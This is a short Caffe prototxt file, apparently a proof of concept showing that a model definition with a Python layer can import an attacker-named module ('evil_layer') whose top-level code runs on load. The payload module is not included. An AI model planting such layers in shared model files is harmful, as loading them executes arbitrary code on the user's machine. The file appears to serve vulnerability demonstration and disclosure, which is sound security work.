poc_rce.prototxt

name: "CaffePythonLayerRCE_PoC"

layer {
  name: "data"
  type: "DummyData"
  top: "data"
  dummy_data_param {
    shape { dim: 1 dim: 1 dim: 1 dim: 1 }
  }
}

layer {
  name: "exploit"
  type: "Python"
  bottom: "data"
  top: "output"
  python_param {
    # bp::import("evil_layer") — top-level code in evil_layer.py runs immediately
    module: "evil_layer"
    layer: "ExploitLayer"
  }
}